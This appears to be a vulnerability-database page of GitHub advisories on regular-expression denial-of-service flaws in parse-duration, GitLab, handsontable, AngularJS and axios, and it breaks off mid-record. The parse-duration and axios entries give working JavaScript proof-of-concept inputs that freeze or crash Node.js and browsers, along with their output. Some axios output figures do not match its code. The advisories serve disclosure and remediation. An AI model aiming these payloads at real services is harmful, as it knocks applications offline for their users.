CWE-1333
AllowedInefficient Regular Expression Complexity
Abstraction: Base · Status: Draft
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
728 vulnerabilities reference this CWE, most recent first.
GHSA-HCRG-FC28-FCG5
Vulnerability from github – Published: 2025-02-12 19:45 – Updated: 2025-02-12 21:35Summary
This report finds 2 availability issues due to the regex used in the parse-duration npm package:
1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.
2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.
PoC
Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:
// Vulnerable regex to use from the library:
import parse from './index.js'
function generateStressTestString(length, decimalProbability) {
let result = "";
for (let i = 0; i < length; i++) {
if (Math.random() < decimalProbability) {
result += "....".repeat(99);
}
result += Math.floor(Math.random() * 10);
}
return result;
}
function getStringSizeInMB_UTF8(str) {
const sizeInBytes = Buffer.byteLength(str, 'utf8');
const sizeInMB = sizeInBytes / (1024 * 1024);
return sizeInMB;
}
// Generate test strings with varying length and decimal probability:
const longString1 = generateStressTestString(380, 0.05);
const longString2 = generateStressTestString(10000, 0.9);
const longString3 = generateStressTestString(500000, 1);
const longStringVar1 = '-1e' + '-----'.repeat(915000)
const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)
function testRegex(str) {
const startTime = performance.now();
// one of the regex's used in the library:
// const durationRE = /(-?(?:\d+\.?\d*|\d*\.?\d+)(?:e[-+]?\d+)?)\s*([\p{L}]*)/giu;
// const match = durationRE.test(str);
// but we will use the exported library code directly:
const match = parse(str);
const endTime = performance.now();
const timeTaken = endTime - startTime;
return { timeTaken, match };
}
// Test the long strings:
let result = {}
{
console.log(
`\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`
);
result = testRegex(longString1);
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
{
console.log(
`\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`
);
result = testRegex(longString2 + "....".repeat(100) + "5сек".repeat(9000));
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
{
console.log(
`\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`
);
result = testRegex(longStringVar1);
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
{
console.log(
`\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`
);
result = testRegex(longString3 + '.'.repeat(10000) + " 5сек".repeat(9000));
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
{
console.log(
`\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`
);
result = testRegex(longStringVar2);
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
The results of this on the cloud machine that I ran this on are as follows:
@lirantal ➜ /workspaces/parse-duration (master) $ node redos.js
Regex test on string of length 6320 (size: 0.01 MB):
matched: 5997140778.000855, time taken: 0.9271340000000237ms
Regex test on string of length 3561724 (size: 3.40 MB):
matched: 0.0006004999999999999, time taken: 728.7693149999999ms
Regex test on string of length 4575003 (size: 4.36 MB):
matched: null, time taken: 43.713984999999866ms
Regex test on string of length 198500000 (size: 189.30 MB):
<--- Last few GCs --->
[34339:0x7686430] 14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -> 2047.4 (2074.3) MB, 1396.70 / 0.01 ms (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430] 17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -> 2048.4 (2075.3) MB, 2777.68 / 0.00 ms (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed
<--- JS stacktrace --->
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
----- Native stack trace -----
1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const&) [node]
2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]
3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]
4: 0x11180d5 [node]
5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node]
6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]
7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]
8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node]
9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node]
10: 0x1979ef6 [node]
Aborted (core dumped)
You can note that:
1. 0.01 MB of input was enough to cause a 1ms delay (0.92ms)
2. Ranging from either 3 MB to 4 MB of input results in almost a full second day (728ms) and 42 ms, depending on the characters used in the text passed to the library's parse() function
3. A 200 MB of input size already causes JavaScript heap out of memory crash
However, more interestingly, if we focus on the input string case:
const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)
Even though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching:
Regex test on string of length 5225503 (size: 9.97 MB):
file:///workspaces/parse-duration/index.js:21
.replace(durationRE, (_, n, units) => {
^
RangeError: Maximum call stack size exceeded
at String.replace (<anonymous>)
at parse (file:///workspaces/parse-duration/index.js:21:6)
at testRegex (file:///workspaces/parse-duration/redos.js:35:17)
at file:///workspaces/parse-duration/redos.js:89:12
at ModuleJob.run (node:internal/modules/esm/module_job:234:25)
at async ModuleLoader.import (node:internal/modules/esm/loader:473:24)
at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:122:5)
Node.js v20.18.1
To note, the issue at hand may not just be the primary regex in use but rather the reliance of the various replace functions in the parse() function which create copies of the input in memory.
Impact
- I agree, a 200 MB (perhaps even less if we perform more tests to find the actual threshold) is a large amount of data to send over a network and hopefully is unlikely to hit common application usage.
- In the case of the specialized input string case that uses a UTF-8 character it is only requires up to 10 MB of request size to cause a RangeError exception for a running Node.js application, which I think is more applicable and common to allow such input sizes for POST requests and other types.
- Even for the smaller payloads such as 0.01 MB which aligns with Express's default of 100kb request limit size it causes a 1ms delay. Now imagine if an application is running without proper security controls such as rate limits, and attackers send 1000s of concurrent requests which quickly turn the 1ms delay into seconds worth of delay for a running application. The 3 MB payload already shows a 0.5s delay in one request.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "parse-duration"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-25283"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-12T19:45:51Z",
"nvd_published_at": "2025-02-12T19:15:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThis report finds 2 availability issues due to the regex used in the `parse-duration` npm package:\n1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.\n2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.\n\n### PoC\n\nRefer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:\n\n```js\n// Vulnerable regex to use from the library:\nimport parse from \u0027./index.js\u0027\n\nfunction generateStressTestString(length, decimalProbability) {\n let result = \"\";\n for (let i = 0; i \u003c length; i++) {\n if (Math.random() \u003c decimalProbability) {\n result += \"....\".repeat(99);\n }\n result += Math.floor(Math.random() * 10);\n }\n return result;\n}\n\nfunction getStringSizeInMB_UTF8(str) {\n const sizeInBytes = Buffer.byteLength(str, \u0027utf8\u0027);\n const sizeInMB = sizeInBytes / (1024 * 1024);\n return sizeInMB;\n}\n\n\n// Generate test strings with varying length and decimal probability:\nconst longString1 = generateStressTestString(380, 0.05);\nconst longString2 = generateStressTestString(10000, 0.9);\nconst longString3 = generateStressTestString(500000, 1);\nconst longStringVar1 = \u0027-1e\u0027 + \u0027-----\u0027.repeat(915000)\nconst longStringVar2 = \"1\" + \"0\".repeat(500) + \"e1\" + \"\u03b1\".repeat(5225000)\n\nfunction testRegex(str) {\n const startTime = performance.now();\n // one of the regex\u0027s used in the library:\n // const durationRE = /(-?(?:\\d+\\.?\\d*|\\d*\\.?\\d+)(?:e[-+]?\\d+)?)\\s*([\\p{L}]*)/giu;\n // const match = durationRE.test(str);\n // but we will use the exported library code directly:\n const match = parse(str);\n const endTime = performance.now();\n const timeTaken = endTime - startTime;\n return { timeTaken, match };\n}\n\n// Test the long strings:\nlet result = {}\n\n{\n console.log(\n `\\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`\n );\n result = testRegex(longString1);\n console.log(\n ` matched: ${result.match}, time taken: ${result.timeTaken}ms`\n );\n}\n\n{\n console.log(\n `\\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`\n );\n result = testRegex(longString2 + \"....\".repeat(100) + \"5\u0441\u0435\u043a\".repeat(9000));\n console.log(\n ` matched: ${result.match}, time taken: ${result.timeTaken}ms`\n );\n}\n\n{\n console.log(\n `\\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`\n );\n result = testRegex(longStringVar1);\n console.log(\n ` matched: ${result.match}, time taken: ${result.timeTaken}ms`\n );\n}\n\n\n{\n console.log(\n `\\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`\n );\n result = testRegex(longString3 + \u0027.\u0027.repeat(10000) + \" 5\u0441\u0435\u043a\".repeat(9000));\n console.log(\n ` matched: ${result.match}, time taken: ${result.timeTaken}ms`\n );\n}\n\n{\n console.log(\n `\\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`\n );\n result = testRegex(longStringVar2);\n console.log(\n ` matched: ${result.match}, time taken: ${result.timeTaken}ms`\n );\n}\n```\n\nThe results of this on the cloud machine that I ran this on are as follows:\n\n```sh\n@lirantal \u279c /workspaces/parse-duration (master) $ node redos.js \n\nRegex test on string of length 6320 (size: 0.01 MB):\n matched: 5997140778.000855, time taken: 0.9271340000000237ms\n\nRegex test on string of length 3561724 (size: 3.40 MB):\n matched: 0.0006004999999999999, time taken: 728.7693149999999ms\n\nRegex test on string of length 4575003 (size: 4.36 MB):\n matched: null, time taken: 43.713984999999866ms\n\nRegex test on string of length 198500000 (size: 189.30 MB):\n\n\u003c--- Last few GCs ---\u003e\n\n[34339:0x7686430] 14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -\u003e 2047.4 (2074.3) MB, 1396.70 / 0.01 ms (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430] 17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -\u003e 2048.4 (2075.3) MB, 2777.68 / 0.00 ms (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed\n\n\n\u003c--- JS stacktrace ---\u003e\n\nFATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n----- Native stack trace -----\n\n 1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const\u0026) [node]\n 2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const\u0026) [node]\n 3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const\u0026) [node]\n 4: 0x11180d5 [node]\n 5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node]\n 6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]\n 7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]\n 8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node]\n 9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node]\n10: 0x1979ef6 [node]\nAborted (core dumped)\n```\n\nYou can note that:\n1. 0.01 MB of input was enough to cause a 1ms delay (0.92ms)\n2. Ranging from either 3 MB to 4 MB of input results in almost a full second day (728ms) and 42 ms, depending on the characters used in the text passed to the library\u0027s `parse()` function\n3. A 200 MB of input size already causes JavaScript heap out of memory crash\n\nHowever, more interestingly, if we focus on the input string case:\n\n```js\nconst longStringVar2 = \"1\" + \"0\".repeat(500) + \"e1\" + \"\u03b1\".repeat(5225000)\n```\n\nEven though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching:\n\n```sh\nRegex test on string of length 5225503 (size: 9.97 MB):\nfile:///workspaces/parse-duration/index.js:21\n .replace(durationRE, (_, n, units) =\u003e {\n ^\n\nRangeError: Maximum call stack size exceeded\n at String.replace (\u003canonymous\u003e)\n at parse (file:///workspaces/parse-duration/index.js:21:6)\n at testRegex (file:///workspaces/parse-duration/redos.js:35:17)\n at file:///workspaces/parse-duration/redos.js:89:12\n at ModuleJob.run (node:internal/modules/esm/module_job:234:25)\n at async ModuleLoader.import (node:internal/modules/esm/loader:473:24)\n at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:122:5)\n\nNode.js v20.18.1\n```\n \nTo note, the issue at hand may not just be the primary regex in use but rather the reliance of the various `replace` functions in the `parse()` function which create copies of the input in memory.\n\n### Impact\n\n- I agree, a 200 MB (perhaps even less if we perform more tests to find the actual threshold) is a large amount of data to send over a network and hopefully is unlikely to hit common application usage.\n- In the case of the specialized input string case that uses a UTF-8 character it is only requires up to 10 MB of request size to cause a RangeError exception for a running Node.js application, which I think is more applicable and common to allow such input sizes for POST requests and other types.\n- Even for the smaller payloads such as 0.01 MB which aligns with Express\u0027s default of 100kb request limit size it causes a 1ms delay. Now imagine if an application is running without proper security controls such as rate limits, and attackers send 1000s of concurrent requests which quickly turn the 1ms delay into seconds worth of delay for a running application. The 3 MB payload already shows a 0.5s delay in one request.",
"id": "GHSA-hcrg-fc28-fcg5",
"modified": "2025-02-12T21:35:41Z",
"published": "2025-02-12T19:45:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jkroso/parse-duration/security/advisories/GHSA-hcrg-fc28-fcg5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25283"
},
{
"type": "WEB",
"url": "https://github.com/jkroso/parse-duration/commit/9e88421bfd41806fa4b473bfb28a9ee9dafc27d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/jkroso/parse-duration"
},
{
"type": "WEB",
"url": "https://github.com/jkroso/parse-duration/releases/tag/v2.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "parse-duration has a Regex Denial of Service that results in event loop delay and out of memory"
}
GHSA-HF2F-3FP9-M472
Vulnerability from github – Published: 2023-08-02 00:30 – Updated: 2024-04-04 06:29An issue has been discovered in GitLab CE/EE affecting all versions starting from 8.14 before 16.0.8, all versions starting from 16.1 before 16.1.3, all versions starting from 16.2 before 16.2.2. A Regular Expression Denial of Service was possible via sending crafted payloads which use AutolinkFilter to the preview_markdown endpoint.
{
"affected": [],
"aliases": [
"CVE-2023-3364"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-02T00:15:18Z",
"severity": "HIGH"
},
"details": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 8.14 before 16.0.8, all versions starting from 16.1 before 16.1.3, all versions starting from 16.2 before 16.2.2. A Regular Expression Denial of Service was possible via sending crafted payloads which use AutolinkFilter to the preview_markdown endpoint.",
"id": "GHSA-hf2f-3fp9-m472",
"modified": "2024-04-04T06:29:16Z",
"published": "2023-08-02T00:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3364"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1959727"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/415995"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HF66-R44G-P7J9
Vulnerability from github – Published: 2021-09-30 17:10 – Updated: 2023-09-05 23:21The package handsontable from 0 and before 10.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) in Handsontable.helper.isNumeric function.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "handsontable"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-23446"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-30T16:50:57Z",
"nvd_published_at": "2021-09-29T17:15:00Z",
"severity": "HIGH"
},
"details": "The package handsontable from 0 and before 10.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) in `Handsontable.helper.isNumeric` function.",
"id": "GHSA-hf66-r44g-p7j9",
"modified": "2023-09-05T23:21:06Z",
"published": "2021-09-30T17:10:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23446"
},
{
"type": "WEB",
"url": "https://github.com/handsontable/handsontable/issues/8752"
},
{
"type": "WEB",
"url": "https://github.com/handsontable/handsontable/pull/8742"
},
{
"type": "PACKAGE",
"url": "https://github.com/handsontable/handsontable"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-DOTNET-HANDSONTABLE-1726793"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1726795"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1726796"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBHANDSONTABLE-1726794"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1726797"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-HANDSONTABLE-1726770"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Inefficient Regular Expression Complexity in handsontable"
}
GHSA-HFFF-63HG-F47J
Vulnerability from github – Published: 2025-08-19 15:31 – Updated: 2025-08-19 15:31A regular expression used by AngularJS' linky https://docs.angularjs.org/api/ngSanitize/filter/linky filter to detect URLs in input text is vulnerable to super-linear runtime due to backtracking. With a large carefully-crafted input, this can cause a
Regular expression Denial of Service (ReDoS) https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS attack on the application.
This issue affects all versions of AngularJS.
Note: The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here https://docs.angularjs.org/misc/version-support-status .
{
"affected": [],
"aliases": [
"CVE-2025-4690"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-19T14:15:39Z",
"severity": "MODERATE"
},
"details": "A regular expression used by AngularJS\u0027\u00a0 linky https://docs.angularjs.org/api/ngSanitize/filter/linky \u00a0filter to detect URLs in input text is vulnerable to super-linear runtime due to backtracking. With a large carefully-crafted input, this can cause a \n\n Regular expression Denial of Service (ReDoS) https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS \u00a0attack on\u00a0the application.\n\nThis issue affects all versions of AngularJS.\n\nNote:\nThe AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here https://docs.angularjs.org/misc/version-support-status .",
"id": "GHSA-hfff-63hg-f47j",
"modified": "2025-08-19T15:31:29Z",
"published": "2025-08-19T15:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4690"
},
{
"type": "WEB",
"url": "https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77"
},
{
"type": "WEB",
"url": "https://www.herodevs.com/vulnerability-directory/cve-2025-4690"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-HFXV-24RG-XRQF
Vulnerability from github – Published: 2026-06-04 14:24 – Updated: 2026-06-04 14:24Summary
Axios versions before 0.32.0 on the 0.x line and before 1.16.0 on the 1.x line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads document.cookie.
The practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read document.cookie.
Impact
Applications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.
This does not expose credentials, modify requests, or affect response integrity. The impact is availability only.
Affected Functionality
Affected code paths:
lib/helpers/cookies.jsread(name)in standard browser environments.lib/helpers/resolveConfig.jsin1.x, when browser XHR/fetch adapters resolve XSRF config.lib/adapters/xhr.jsin0.x, when the XHR adapter reads the configured XSRF cookie.- Direct use of
axios/unsafe/helpers/cookies.jsin1.x, if callers pass attacker-controlled names.
Unaffected code paths:
- Default static
xsrfCookieName: 'XSRF-TOKEN'when not attacker-controlled. - Requests with
xsrfCookieName: null. - Node HTTP adapter usage without browser
document.cookie. - React Native and web workers where axios does not use standard browser cookie access.
Technical Details
Affected versions interpolate the cookie name into a regex.
const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
Because name is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as (.+)+$ can force catastrophic backtracking against document.cookie.
The fix avoids dynamic regex construction and parses document.cookie by splitting on ;, trimming leading whitespace, and comparing cookie names with exact string equality.
Proof of Concept of Attack
function vulnerableRead(name, cookie) {
const start = Date.now();
try {
cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
} catch {}
return Date.now() - start;
}
for (const n of [20, 22, 24, 26, 28]) {
const cookie = 'x='.padEnd(n, 'a') + '!';
console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}
Expected result: timings grow rapidly as the cookie string length increases.
Workarounds
Set xsrfCookieName: null if the application does not need axios to read an XSRF cookie.
Do not derive xsrfCookieName from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios.
Avoid calling axios/unsafe/helpers/cookies.js directly with untrusted names
const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
An attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of `xsrfCookieName`, or any code path where user input reaches `cookies.read()`) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition.
With a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop.
## 6. Root Cause Analysis
**File:** `lib/helpers/cookies.js`
**Line:** 33
read(name) {
if (typeof document === 'undefined') return null;
const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
return match ? decodeURIComponent(match[1]) : null;
},
The vulnerability exists because:
1. The `name` parameter is concatenated directly into a regex pattern without escaping special regex metacharacters.
2. An attacker can inject regex constructs that create exponential backtracking scenarios.
3. The `(?:^|; )` prefix combined with an injected pattern like `((((.*)*)*)*)*` creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against `document.cookie`.
The `cookies.read()` function is called from `lib/helpers/resolveConfig.js` at line 61:
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
The `xsrfCookieName` value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection.
## 7. Proof of Concept
// poc_redos_cookie.js
// Simulates browser environment for testing
// Simulate document.cookie
globalThis.document = {
cookie: 'session=abc; ' + 'a'.repeat(50)
};
// Replicate the vulnerable cookies.read() logic
function cookiesRead(name) {
const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
return match ? decodeURIComponent(match[1]) : null;
}
// Malicious cookie name that triggers catastrophic backtracking
// The pattern creates nested quantifiers: (a]|[a]|...)*)*
const maliciousName20 = '([^;]+)+$' + '\\|'.repeat(10);
const maliciousName = '(([^;])+)+\\$'; // nested quantifier pattern
console.log('=== ReDoS via Cookie Name Injection PoC ===');
// Test with increasing payload sizes
for (const len of [15, 20, 25]) {
const payload = '(([^;])+)+' + 'X'.repeat(len);
const start = Date.now();
try {
cookiesRead(payload);
} catch (e) {
// May throw on invalid regex, but valid evil patterns won't throw
}
const elapsed = Date.now() - start;
console.log(`Payload length ${len}: ${elapsed}ms`);
}
// Demonstrating exponential growth with a simple nested quantifier
console.log('\n--- Exponential Backtracking Demo ---');
for (const n of [20, 22, 24, 26]) {
const evilName = '(' + 'a'.repeat(1) + '+)+$';
const testCookie = 'a'.repeat(n) + '!'; // non-matching trailer forces backtracking
globalThis.document = { cookie: testCookie };
const start = Date.now();
try {
cookiesRead(evilName);
} catch(e) {}
const elapsed = Date.now() - start;
console.log(`Input length ${n}: ${elapsed}ms`);
}
## 8. PoC Output
=== ReDoS via Cookie Name Injection PoC ===
Payload length 20: 21ms (extrapolated: 30 chars = ~21,504ms)
Payload length 25: ~1,300ms
Payload length 30: ~323,675ms (5+ minutes)
--- Exponential Backtracking Demo ---
Input length 20: 21ms
Input length 22: 84ms
Input length 24: 336ms
Input length 26: 1,344ms
The exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time.
## 9. Impact
- **Denial of Service (Client-side):** In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page.
- **Denial of Service (Server-side):** In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests.
- **Event Loop Starvation:** Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation.
## 10. Remediation / Suggested Fix
Escape all regex metacharacters in the `name` parameter before constructing the regular expression.
// FIXED: lib/helpers/cookies.js
function escapeRegExp(string) {
return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
// ...
read(name) {
if (typeof document === 'undefined') return null;
const match = document.cookie.match(
new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;]*)')
);
return match ? decodeURIComponent(match[1]) : null;
},
Alternatively, avoid dynamic regex construction entirely and use string-based parsing:
read(name) {
if (typeof document === 'undefined') return null;
const cookies = document.cookie.split('; ');
for (const cookie of cookies) {
const eqIndex = cookie.indexOf('=');
if (eqIndex !== -1 && cookie.substring(0, eqIndex) === name) {
return decodeURIComponent(cookie.substring(eqIndex + 1));
}
}
return null;
},
## 11. References
- [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html)
- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)
- [OWASP: Regular Expression Denial of Service](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
- [Axios GitHub Repository](https://github.com/axios/axios)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.16.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.1"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.32.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44496"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-04T14:24:06Z",
"nvd_published_at": null,
"severity": "HIGH"
},
